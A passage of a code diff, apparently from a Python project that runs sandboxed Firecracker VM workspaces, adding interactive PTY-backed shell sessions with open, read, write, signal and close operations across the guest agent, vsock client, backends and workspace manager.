codecs.getincrementaldecoder("utf-8")("replace") + self._metadata_path = SHELL_ROOT / f"{shell_id}.json" + self._log_path = SHELL_ROOT / f"{shell_id}.log" + self._master_fd: int | None = None + + master_fd, slave_fd = pty.openpty() + try: + _set_pty_size(slave_fd, rows, cols) + env = os.environ.copy() + env.update( + { + "TERM": env.get("TERM", "xterm-256color"), + "PS1": "pyro$ ", + "PROMPT_COMMAND": "", + } + ) + process = subprocess.Popen( # noqa: S603 + ["/bin/bash", "--noprofile", "--norc", "-i"], + stdin=slave_fd, + stdout=slave_fd, + stderr=slave_fd, + cwd=str(cwd), + env=env, + text=False, + close_fds=True, + preexec_fn=os.setsid, + ) + except Exception: + os.close(master_fd) + raise + finally: + os.close(slave_fd) + + self._process = process + self._master_fd = master_fd + self._write_metadata() + self._reader = threading.Thread(target=self._reader_loop, daemon=True) + self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) + self._reader.start() + self._waiter.start() + + def summary(self) -> dict[str, Any]: + with self._lock: + return { + "shell_id": self.shell_id, + "cwd": self.cwd, + "cols": self.cols, + "rows": self.rows, + "state": self.state, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + } + + def read(self, *, cursor: int, max_chars: int) -> dict[str, Any]: + with self._lock: + clamped_cursor = min(max(cursor, 0), len(self._output)) + output = self._output[clamped_cursor : clamped_cursor + max_chars] + next_cursor = clamped_cursor + len(output) + payload = self.summary() + payload.update( + { + "cursor": clamped_cursor, + "next_cursor": next_cursor, + "output": output, + "truncated": next_cursor < len(self._output), + } + ) + return payload + + def write(self, text: str, *, append_newline: bool) -> dict[str, Any]: + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + master_fd = self._master_fd + if master_fd is None: + raise RuntimeError(f"shell {self.shell_id} transport is unavailable") + payload = text + ("\n" if append_newline else "") + try: + os.write(master_fd, payload.encode("utf-8")) + except OSError as exc: + self._refresh_process_state() + raise RuntimeError(f"failed to write shell input: {exc}") from exc + response = self.summary() + response.update({"input_length": len(text), "append_newline": append_newline}) + return response + + def send_signal(self, signal_name: str) -> dict[str, Any]: + signum = SHELL_SIGNAL_MAP.get(signal_name) + if signum is None: + raise ValueError(f"unsupported shell signal: {signal_name}") + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + pid = self._process.pid + try: + os.killpg(pid, signum) + except ProcessLookupError as exc: + self._refresh_process_state() + raise RuntimeError(f"shell {self.shell_id} is not running") from exc + response = self.summary() + response["signal"] = signal_name + return response + + def close(self) -> dict[str, Any]: + if self._process.poll() is None: + try: + os.killpg(self._process.pid, signal.SIGHUP) + except ProcessLookupError: + pass + try: + self._process.wait(timeout=5) + except subprocess.TimeoutExpired: + try: + os.killpg(self._process.pid, signal.SIGKILL) + except ProcessLookupError: + pass + self._process.wait(timeout=5) + else: + self._refresh_process_state() + self._close_master_fd() + if self._reader is not None: + self._reader.join(timeout=1) + if self._waiter is not None: + self._waiter.join(timeout=1) + response = self.summary() + response["closed"] = True + return response + + def _reader_loop(self) -> None: + master_fd = self._master_fd + if master_fd is None: + return + while True: + try: + chunk = os.read(master_fd, BUFFER_SIZE) + except OSError: + break + if chunk == b"": + break + decoded = self._decoder.decode(chunk) + if decoded == "": + continue + with self._lock: + self._output += decoded + with self._log_path.open("a", encoding="utf-8") as handle: + handle.write(decoded) + decoded = self._decoder.decode(b"", final=True) + if decoded != "": + with self._lock: + self._output += decoded + with self._log_path.open("a", encoding="utf-8") as handle: + handle.write(decoded) + + def _waiter_loop(self) -> None: + exit_code = self._process.wait() + with self._lock: + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + self._write_metadata() + + def _refresh_process_state(self) -> None: + exit_code = self._process.poll() + if exit_code is None: + return + with self._lock: + if self.state == "running": + self.state = "stopped" + self.exit_code = exit_code + self.ended_at = time.time() + self._write_metadata() + + def _write_metadata(self) -> None: + self._metadata_path.parent.mkdir(parents=True, exist_ok=True) + self._metadata_path.write_text(json.dumps(self.summary(), indent=2), encoding="utf-8") + + def _close_master_fd(self) -> None: + with self._lock: + master_fd = self._master_fd + self._master_fd = None + if master_fd is None: + return + try: + os.close(master_fd) + except OSError: + pass + + +def _create_shell( + *, + shell_id: str, + cwd_text: str, + cols: int, + rows: int, +) -> GuestShellSession: + _, cwd_path = _normalize_shell_cwd(cwd_text) + with _SHELLS_LOCK: + if shell_id in _SHELLS: + raise RuntimeError(f"shell {shell_id!r} already exists") + session = GuestShellSession( + shell_id=shell_id, + cwd=cwd_path, + cwd_text=cwd_text, + cols=cols, + rows=rows, + ) + _SHELLS[shell_id] = session + return session + + +def _get_shell(shell_id: str) -> GuestShellSession: + with _SHELLS_LOCK: + try: + return _SHELLS[shell_id] + except KeyError as exc: + raise RuntimeError(f"shell {shell_id!r} does not exist") from exc + + +def _remove_shell(shell_id: str) -> GuestShellSession: + with _SHELLS_LOCK: + try: + return _SHELLS.pop(shell_id) + except KeyError as exc: + raise RuntimeError(f"shell {shell_id!r} does not exist") from exc + + +def _dispatch(request: dict[str, Any], conn: socket.socket) -> dict[str, Any]: + action = str(request.get("action", "exec")) + if action == "extract_archive": + archive_size = int(request.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("archive_size must not be negative") + destination = str(request.get("destination", "/workspace")) + payload = _read_exact(conn, archive_size) + return _extract_archive(payload, destination) + if action == "open_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + cwd_text, _ = _normalize_shell_cwd(str(request.get("cwd", "/workspace"))) + session = _create_shell( + shell_id=shell_id, + cwd_text=cwd_text, + cols=int(request.get("cols", 120)), + rows=int(request.get("rows", 30)), + ) + return session.summary() + if action == "read_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _get_shell(shell_id).read( + cursor=int(request.get("cursor", 0)), + max_chars=int(request.get("max_chars", 65536)), + ) + if action == "write_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _get_shell(shell_id).write( + str(request.get("input", "")), + append_newline=bool(request.get("append_newline", True)), + ) + if action == "signal_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + signal_name = str(request.get("signal", "INT")).upper() + if signal_name not in SHELL_SIGNAL_NAMES: + raise RuntimeError( + f"signal must be one of: {', '.join(SHELL_SIGNAL_NAMES)}" + ) + return _get_shell(shell_id).send_signal(signal_name) + if action == "close_shell": + shell_id = str(request.get("shell_id", "")).strip() + if shell_id == "": + raise RuntimeError("shell_id is required") + return _remove_shell(shell_id).close() + command = str(request.get("command", "")) + timeout_seconds = int(request.get("timeout_seconds", 30)) + return _run_command(command, timeout_seconds) + + def main() -> None: + SHELL_ROOT.mkdir(parents=True, exist_ok=True) family = getattr(socket, "AF_VSOCK", None) if family is None: raise SystemExit("AF_VSOCK is unavailable") @@ -192,19 +531,11 @@ def main() -> None: while True: conn, _ = server.accept() with conn: - request = _read_request(conn) - action = str(request.get("action", "exec")) - if action == "extract_archive": - archive_size = int(request.get("archive_size", 0)) - if archive_size < 0: - raise RuntimeError("archive_size must not be negative") - destination = str(request.get("destination", "/workspace")) - payload = _read_exact(conn, archive_size) - response = _extract_archive(payload, destination) - else: - command = str(request.get("command", "")) - timeout_seconds = int(request.get("timeout_seconds", 30)) - response = _run_command(command, timeout_seconds) + try: + request = _read_request(conn) + response = _dispatch(request, conn) + except Exception as exc: # noqa: BLE001 + response = {"error": str(exc)} conn.sendall((json.dumps(response) + "\n").encode("utf-8")) diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json index 948953a..52d1a5d 100644 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json @@ -25,7 +25,7 @@ "guest": { "agent": { "path": "guest/pyro_guest_agent.py", - "sha256": "3b684b1b07745fc7788e560b0bdd0c0535c31c395ff87474ae9e114f4489726d" + "sha256": "07adf6269551447dbea8c236f91499ea1479212a3f084c5402a656f5f5cc5892" } }, "platform": "linux-x86_64", diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 5a0bf99..3e7eddf 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.4.0" +DEFAULT_CATALOG_VERSION = "2.5.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_guest.py b/src/pyro_mcp/vm_guest.py index d6acd3a..1988269 100644 --- a/src/pyro_mcp/vm_guest.py +++ b/src/pyro_mcp/vm_guest.py @@ -39,6 +39,26 @@ class GuestArchiveResponse: bytes_written: int +@dataclass(frozen=True) +class GuestShellSummary: + shell_id: str + cwd: str + cols: int + rows: int + state: str + started_at: float + ended_at: float | None + exit_code: int | None + + +@dataclass(frozen=True) +class GuestShellReadResponse(GuestShellSummary): + cursor: int + next_cursor: int + output: str + truncated: bool + + class VsockExecClient: """Minimal JSON-over-stream client for a guest exec agent.""" @@ -54,19 +74,17 @@ class VsockExecClient: *, uds_path: str | None = None, ) -> GuestExecResponse: - request = { - "command": command, - "timeout_seconds": timeout_seconds, - } - sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) - try: - sock.sendall((json.dumps(request) + "\n").encode("utf-8")) - payload = self._recv_json_payload(sock) - finally: - sock.close() - - if not isinstance(payload, dict): - raise RuntimeError("guest exec response must be a JSON object") + payload = self._request_json( + guest_cid, + port, + { + "command": command, + "timeout_seconds": timeout_seconds, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest exec response must be a JSON object", + ) return GuestExecResponse( stdout=str(payload.get("stdout", "")), stderr=str(payload.get("stderr", "")), @@ -101,12 +119,198 @@ class VsockExecClient: if not isinstance(payload, dict): raise RuntimeError("guest archive response must be a JSON object") + error = payload.get("error") + if error is not None: + raise RuntimeError(str(error)) return GuestArchiveResponse( destination=str(payload.get("destination", destination)), entry_count=int(payload.get("entry_count", 0)), bytes_written=int(payload.get("bytes_written", 0)), ) + def open_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + cwd: str, + cols: int, + rows: int, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> GuestShellSummary: + payload = self._request_json( + guest_cid, + port, + { + "action": "open_shell", + "shell_id": shell_id, + "cwd": cwd, + "cols": cols, + "rows": rows, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell open response must be a JSON object", + ) + return self._shell_summary_from_payload(payload) + + def read_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + cursor: int, + max_chars: int, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> GuestShellReadResponse: + payload = self._request_json( + guest_cid, + port, + { + "action": "read_shell", + "shell_id": shell_id, + "cursor": cursor, + "max_chars": max_chars, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell read response must be a JSON object", + ) + summary = self._shell_summary_from_payload(payload) + return GuestShellReadResponse( + shell_id=summary.shell_id, + cwd=summary.cwd, + cols=summary.cols, + rows=summary.rows, + state=summary.state, + started_at=summary.started_at, + ended_at=summary.ended_at, + exit_code=summary.exit_code, + cursor=int(payload.get("cursor", cursor)), + next_cursor=int(payload.get("next_cursor", cursor)), + output=str(payload.get("output", "")), + truncated=bool(payload.get("truncated", False)), + ) + + def write_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + input_text: str, + append_newline: bool, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + payload = self._request_json( + guest_cid, + port, + { + "action": "write_shell", + "shell_id": shell_id, + "input": input_text, + "append_newline": append_newline, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell write response must be a JSON object", + ) + self._shell_summary_from_payload(payload) + return payload + + def signal_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + signal_name: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + payload = self._request_json( + guest_cid, + port, + { + "action": "signal_shell", + "shell_id": shell_id, + "signal": signal_name, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell signal response must be a JSON object", + ) + self._shell_summary_from_payload(payload) + return payload + + def close_shell( + self, + guest_cid: int, + port: int, + *, + shell_id: str, + timeout_seconds: int = 30, + uds_path: str | None = None, + ) -> dict[str, Any]: + payload = self._request_json( + guest_cid, + port, + { + "action": "close_shell", + "shell_id": shell_id, + }, + timeout_seconds=timeout_seconds, + uds_path=uds_path, + error_message="guest shell close response must be a JSON object", + ) + self._shell_summary_from_payload(payload) + return payload + + def _request_json( + self, + guest_cid: int, + port: int, + request: dict[str, Any], + *, + timeout_seconds: int, + uds_path: str | None, + error_message: str, + ) -> dict[str, Any]: + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + payload = self._recv_json_payload(sock) + finally: + sock.close() + if not isinstance(payload, dict): + raise RuntimeError(error_message) + error = payload.get("error") + if error is not None: + raise RuntimeError(str(error)) + return payload + + @staticmethod + def _shell_summary_from_payload(payload: dict[str, Any]) -> GuestShellSummary: + return GuestShellSummary( + shell_id=str(payload.get("shell_id", "")), + cwd=str(payload.get("cwd", "/workspace")), + cols=int(payload.get("cols", 0)), + rows=int(payload.get("rows", 0)), + state=str(payload.get("state", "stopped")), + started_at=float(payload.get("started_at", 0.0)), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + ) + def _connect( self, guest_cid: int, diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 34de2e7..ad221dc 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -27,8 +27,15 @@ from pyro_mcp.vm_environments import EnvironmentStore, default_cache_dir, get_en from pyro_mcp.vm_firecracker import build_launch_plan from pyro_mcp.vm_guest import VsockExecClient from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager +from pyro_mcp.workspace_shells import ( + create_local_shell, + get_local_shell, + remove_local_shell, + shell_signal_names, +) VmState = Literal["created", "started", "stopped"] +WorkspaceShellState = Literal["running", "stopped"] DEFAULT_VCPU_COUNT = 1 DEFAULT_MEM_MIB = 1024 @@ -36,13 +43,18 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False -WORKSPACE_LAYOUT_VERSION = 2 +WORKSPACE_LAYOUT_VERSION = 3 WORKSPACE_DIRNAME = "workspace" WORKSPACE_COMMANDS_DIRNAME = "commands" +WORKSPACE_SHELLS_DIRNAME = "shells" WORKSPACE_RUNTIME_DIRNAME = "runtime" WORKSPACE_GUEST_PATH = "/workspace" WORKSPACE_GUEST_AGENT_PATH = "/opt/pyro/bin/pyro_guest_agent.py" WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS = 60 +DEFAULT_SHELL_COLS = 120 +DEFAULT_SHELL_ROWS = 30 +DEFAULT_SHELL_MAX_CHARS = 65536 +WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] @@ -183,6 +195,58 @@ class WorkspaceRecord: ) +@dataclass +class WorkspaceShellRecord: + """Persistent shell metadata stored on disk per workspace.""" + + workspace_id: str + shell_id: str + cwd: str + cols: int + rows: int + state: WorkspaceShellState + started_at: float + ended_at: float | None = None + exit_code: int | None = None + execution_mode: str = "pending" + metadata: dict[str, str] = field(default_factory=dict) + + def to_payload(self) -> dict[str, Any]: + return { + "layout_version": WORKSPACE_LAYOUT_VERSION, + "workspace_id": self.workspace_id, + "shell_id": self.shell_id, + "cwd": self.cwd, + "cols": self.cols, + "rows": self.rows, + "state": self.state, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + "execution_mode": self.execution_mode, + "metadata": dict(self.metadata), + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspaceShellRecord: + return cls( + workspace_id=str(payload["workspace_id"]), + shell_id=str(payload["shell_id"]), + cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), + cols=int(payload.get("cols", DEFAULT_SHELL_COLS)), + rows=int(payload.get("rows", DEFAULT_SHELL_ROWS)), + state=cast(WorkspaceShellState, str(payload.get("state", "stopped"))), + started_at=float(payload.get("started_at", 0.0)), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + execution_mode=str(payload.get("execution_mode", "pending")), + metadata=_string_dict(payload.get("metadata")), + ) + @dataclass(frozen=True) class PreparedWorkspaceSeed: """Prepared host-side seed archive plus metadata.""" @@ -610,6 +674,59 @@ class VmBackend: ) -> dict[str, Any]: raise NotImplementedError + def open_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cwd: str, + cols: int, + rows: int, + ) -> dict[str, Any]: + raise NotImplementedError + + def read_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cursor: int, + max_chars: int, + ) -> dict[str, Any]: + raise NotImplementedError + + def write_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + input_text: str, + append_newline: bool, + ) -> dict[str, Any]: + raise NotImplementedError + + def signal_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + signal_name: str, + ) -> dict[str, Any]: + raise NotImplementedError + + def close_shell( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + ) -> dict[str, Any]: + raise NotImplementedError + class MockBackend(VmBackend): """Host-process backend used for development and testability.""" @@ -651,6 +768,87 @@ class MockBackend(VmBackend): destination=destination, ) + def open_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cwd: str, + cols: int, + rows: int, + ) -> dict[str, Any]: + session = create_local_shell( + workspace_id=workspace_id, + shell_id=shell_id, + cwd=_workspace_host_destination(_instance_workspace_host_dir(instance), cwd), + display_cwd=cwd, + cols=cols, + rows=rows, + ) + summary = session.summary() + summary["execution_mode"] = "host_compat" + return summary + + def read_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cursor: int, + max_chars: int, + ) -> dict[str, Any]: + del instance + session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) + payload = session.read(cursor=cursor, max_chars=max_chars) + payload["execution_mode"] = "host_compat" + return payload + + def write_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + input_text: str, + append_newline: bool, + ) -> dict[str, Any]: + del instance + session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) + payload = session.write(input_text, append_newline=append_newline) + payload["execution_mode"] = "host_compat" + return payload + + def signal_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + signal_name: str, + ) -> dict[str, Any]: + del instance + session = get_local_shell(workspace_id=workspace_id, shell_id=shell_id) + payload = session.send_signal(signal_name) + payload["execution_mode"] = "host_compat" + return payload + + def close_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + ) -> dict[str, Any]: + del instance + session = remove_local_shell(workspace_id=workspace_id, shell_id=shell_id) + if session is None: + raise ValueError(f"shell {shell_id!r} does not exist in workspace {workspace_id!r}") + payload = session.close() + payload["execution_mode"] = "host_compat" + return payload + class FirecrackerBackend(VmBackend): # pragma: no cover """Host-gated backend that validates Firecracker prerequisites.""" @@ -888,6 +1086,144 @@ class FirecrackerBackend(VmBackend): # pragma: no cover destination=destination, ) + def open_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cwd: str, + cols: int, + rows: int, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + response = self._guest_exec_client.open_shell( + guest_cid, + port, + shell_id=shell_id, + cwd=cwd, + cols=cols, + rows=rows, + uds_path=uds_path, + ) + return { + "shell_id": response.shell_id or shell_id, + "cwd": response.cwd, + "cols": response.cols, + "rows": response.rows, + "state": response.state, + "started_at": response.started_at, + "ended_at": response.ended_at, + "exit_code": response.exit_code, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + + def read_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + cursor: int, + max_chars: int, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + response = self._guest_exec_client.read_shell( + guest_cid, + port, + shell_id=shell_id, + cursor=cursor, + max_chars=max_chars, + uds_path=uds_path, + ) + return { + "shell_id": response.shell_id, + "cwd": response.cwd, + "cols": response.cols, + "rows": response.rows, + "state": response.state, + "started_at": response.started_at, + "ended_at": response.ended_at, + "exit_code": response.exit_code, + "cursor": response.cursor, + "next_cursor": response.next_cursor, + "output": response.output, + "truncated": response.truncated, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + + def write_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + input_text: str, + append_newline: bool, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.write_shell( + guest_cid, + port, + shell_id=shell_id, + input_text=input_text, + append_newline=append_newline, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + + def signal_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + signal_name: str, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.signal_shell( + guest_cid, + port, + shell_id=shell_id, + signal_name=signal_name, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + + def close_shell( + self, + instance: VmInstance, + *, + workspace_id: str, + shell_id: str, + ) -> dict[str, Any]: + del workspace_id + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + payload = self._guest_exec_client.close_shell( + guest_cid, + port, + shell_id=shell_id, + uds_path=uds_path, + ) + payload["execution_mode"] = instance.metadata.get("execution_mode", "pending") + return payload + class VmManager: """In-process lifecycle manager for ephemeral VM environments and workspaces.""" @@ -1151,9 +1487,11 @@ class VmManager: runtime_dir = self._workspace_runtime_dir(workspace_id) host_workspace_dir = self._workspace_host_dir(workspace_id) commands_dir = self._workspace_commands_dir(workspace_id) + shells_dir = self._workspace_shells_dir(workspace_id) workspace_dir.mkdir(parents=True, exist_ok=False) host_workspace_dir.mkdir(parents=True, exist_ok=True) commands_dir.mkdir(parents=True, exist_ok=True) + shells_dir.mkdir(parents=True, exist_ok=True) instance = VmInstance( vm_id=workspace_id, environment=environment, @@ -1179,11 +1517,8 @@ class VmManager: f"max active VMs reached ({self._max_active_vms}); delete old VMs first" ) self._backend.create(instance) - if ( - prepared_seed.archive_path is not None - and self._runtime_capabilities.supports_guest_exec - ): - self._ensure_workspace_guest_seed_support(instance) + if self._runtime_capabilities.supports_guest_exec: + self._ensure_workspace_guest_agent_support(instance) with self._lock: self._start_instance_locked(instance) self._require_guest_exec_or_opt_in(instance) @@ -1332,6 +1667,208 @@ class VmManager: "cwd": WORKSPACE_GUEST_PATH, } + def open_shell( + self, + workspace_id: str, + *, + cwd: str = WORKSPACE_GUEST_PATH, + cols: int = DEFAULT_SHELL_COLS, + rows: int = DEFAULT_SHELL_ROWS, + ) -> dict[str, Any]: + if cols <= 0: + raise ValueError("cols must be positive") + if rows <= 0: + raise ValueError("rows must be positive") + normalized_cwd, _ = _normalize_workspace_destination(cwd) + shell_id = uuid.uuid4().hex[:12] + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + payload = self._backend.open_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cwd=normalized_cwd, + cols=cols, + rows=rows, + ) + shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_shell_locked(shell) + return self._serialize_workspace_shell(shell) + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int = 0, + max_chars: int = DEFAULT_SHELL_MAX_CHARS, + ) -> dict[str, Any]: + if cursor < 0: + raise ValueError("cursor must not be negative") + if max_chars <= 0: + raise ValueError("max_chars must be positive") + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + shell = self._load_workspace_shell_locked(workspace_id, shell_id) + payload = self._backend.read_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cursor=cursor, + max_chars=max_chars, + ) + updated_shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + metadata=shell.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_shell_locked(updated_shell) + response = self._serialize_workspace_shell(updated_shell) + response.update( + { + "cursor": int(payload.get("cursor", cursor)), + "next_cursor": int(payload.get("next_cursor", cursor)), + "output": str(payload.get("output", "")), + "truncated": bool(payload.get("truncated", False)), + } + ) + return response + + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input_text: str, + append_newline: bool = True, + ) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + shell = self._load_workspace_shell_locked(workspace_id, shell_id) + payload = self._backend.write_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + input_text=input_text, + append_newline=append_newline, + ) + updated_shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + metadata=shell.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_shell_locked(updated_shell) + response = self._serialize_workspace_shell(updated_shell) + response.update( + { + "input_length": int(payload.get("input_length", len(input_text))), + "append_newline": bool(payload.get("append_newline", append_newline)), + } + ) + return response + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str = "INT", + ) -> dict[str, Any]: + normalized_signal = signal_name.upper() + if normalized_signal not in WORKSPACE_SHELL_SIGNAL_NAMES: + raise ValueError( + f"signal_name must be one of: {', '.join(WORKSPACE_SHELL_SIGNAL_NAMES)}" + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + shell = self._load_workspace_shell_locked(workspace_id, shell_id) + payload = self._backend.signal_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + signal_name=normalized_signal, + ) + updated_shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + metadata=shell.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._save_workspace_shell_locked(updated_shell) + response = self._serialize_workspace_shell(updated_shell) + response["signal"] = str(payload.get("signal", normalized_signal)) + return response + + def close_shell( + self, + workspace_id: str, + shell_id: str, + ) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_shell_locked(workspace) + shell = self._load_workspace_shell_locked(workspace_id, shell_id) + payload = self._backend.close_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + ) + closed_shell = self._workspace_shell_record_from_payload( + workspace_id=workspace_id, + shell_id=shell_id, + payload=payload, + metadata=shell.metadata, + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + self._delete_workspace_shell_locked(workspace_id, shell_id) + response = self._serialize_workspace_shell(closed_shell) + response["closed"] = bool(payload.get("closed", True)) + return response + def status_workspace(self, workspace_id: str) -> dict[str, Any]: with self._lock: workspace = self._load_workspace_locked(workspace_id) @@ -1364,6 +1901,7 @@ class VmManager: instance = workspace.to_instance( 